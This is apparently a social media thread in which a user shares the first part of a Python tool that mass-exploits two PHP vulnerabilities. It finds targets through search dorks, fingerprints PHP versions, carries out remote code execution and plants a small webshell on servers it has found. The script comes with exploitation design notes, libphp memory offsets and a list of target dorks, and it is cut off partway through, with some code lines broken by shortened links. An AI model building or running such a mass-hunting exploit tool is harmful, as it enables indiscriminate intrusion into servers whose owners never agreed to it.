Just made a new hunting kit using a crew of 6 agents that think they been in the same crew for 20 years, banta, cheer ons for wins, Brown eyes for losses, and a sophisticated as fuck workflow between the crew π
@MalwareTechBlog The Problem is the tiny space to issue the payload, I had success writing a simple php cmd shell but it took hitting the host with 6 different requests writing the shell bit by bit
Way ahead of ya
#!/usr/bin/env python3
"""
p2s_hunt.py β php2shell mass hunter
CVE-2026-109618 / CVE-2026-109619
dorks -> fingerprint -> memory_limit ladder -> RCE -> webshell
Design notes that drive everything below:
* A single command is capped at 14 bytes by the exploit's 167-byte carrier.
So: long commands are staged into a file and run with `sh<f`, and the
webshell is written 4 bytes at a time with echo + append.
* The leak (heap base, libphp base) is per-worker-process. Rotating the
worker for the next stage invalidates it, so every command is a full
3-stage run unless you pass --fast.
* Stage 2 validates the libphp pointer against dtor_offset & 0xfff, so
wrong offsets for the target's distro fail loudly instead of silently.
Setup
pip install requests
export SERPAPI_KEY=xxxxxxxx
python3 p2s_hunt.py dorks
python3 p2s_hunt.py scan --dork 'inurl:index.php' --pages 2 -o hosts.txt
python3 p2s_hunt.py hunt -i hosts.txt --threads 12 --shell -o results.json
python3 p2s_hunt.py shell -u http://target/index.php
Authorised-testing only, obviously.
"""
from __future__ import annotations
import argparse
import concurrent.futures as futures
import hashlib
import json
import os
import re
import subprocess
import sys
import threading
import time
import urllib.parse
import warnings
from dataclasses import dataclass, field, asdict
import requests
warnings.filterwarnings("ignore")
POC_REPO = ("https://t.co/s6MxD0QNPh"
"php2shell-CVE-2026-109618-CVE-2026-109619-PoC.git")
HERE = os.path.dirname(os.path.abspath(__file__))
POC_DIR = os.path.join(HERE, "vendor", "php2shell-poc")
CACHE_DIR = os.path.join(HERE, ".cache", "serpapi")
SERP_ENDPOINT = "https://t.co/0DFHsEXjds"
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36")
MAX_CMD = 14
# libphp offsets. zif_system / ZVAL_PTR_DTOR are relative to the libphp base
# so they survive ASLR but NOT rebuilds. Defaults are the official
# php:8.4.26-apache image (Debian 12, Apache 2.4.69) that the PoC ships
# calibrated for.
OFFSET_PROFILES = {
"bookworm": dict(zif=0x43A870, dtor=0x613C50, htdata=0x690D8),
"lab": dict(zif=0x43A870, dtor=0x613C50, htdata=0x6E0D8),
}
DORKS = [
"inurl:index.php",
"inurl:.php?id=",
"inurl:phpinfo.php",
'intitle:"phpinfo()"',
'"X-Powered-By: PHP" inurl:index.php',
"inurl:index.php?option=com_",
"inurl:wp-login.php",
"inurl:index.php/special",
"inurl:install.php",
"ext:php inurl:index",
]
PHP_RE = re.compile(rb"PHP/(\d+\.\d+\.\d+)")
PHP_TXT_RE = re.compile(rb"\bPHP\s+(\d+\.\d+\.\d+)\b")
OOM_RE = re.compile(rb"Allowed memory size of (\d+) bytes exhausted")
# PHP easter eggs. ?=PHPB8... returns the credits page with the exact version;
# ?=PHPE9568F34... returns the logo GIF and confirms PHP even when headers lie.
EGG_CREDITS = "?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
EGG_LOGO = "?=PHPE9568F34-D428-11d2-A769-00AA001ACF42"
# 14 bytes. Short echo tag + backtick shell_exec. `<?=` needs no
# short_open_tag, and the trailing ; is optional at EOF.
WEBSHELL = ##
def log(msg, quiet=False):
if not quiet:
print(msg, flush=True)
def ensure_poc(path=POC_DIR):
"""Clone the PoC if it isn't vendored yet."""
if os.path.exists(os.path.join(path, "poc_109618.py")):
return path
os.makedirs(os.path.dirname(path), exist_ok=True)
log(f"[*] cloning PoC into {path}")
https://t.co/9STKCfuetQ(["git", "clone", "--depth", "1", POC_REPO, path],
check=True)
return path
def load_poc(path=POC_DIR):
sys.path.insert(0, path)
import poc_109618 # noqa: E402
return poc_109618
def make_recorder(poc):
"""Target subclass that remembers the last raw response."""
class RecordingTarget(https://t.co/NGUwsDVm6x):
def __init__(self, *a, **kw):
super().__init__(*a, **kw)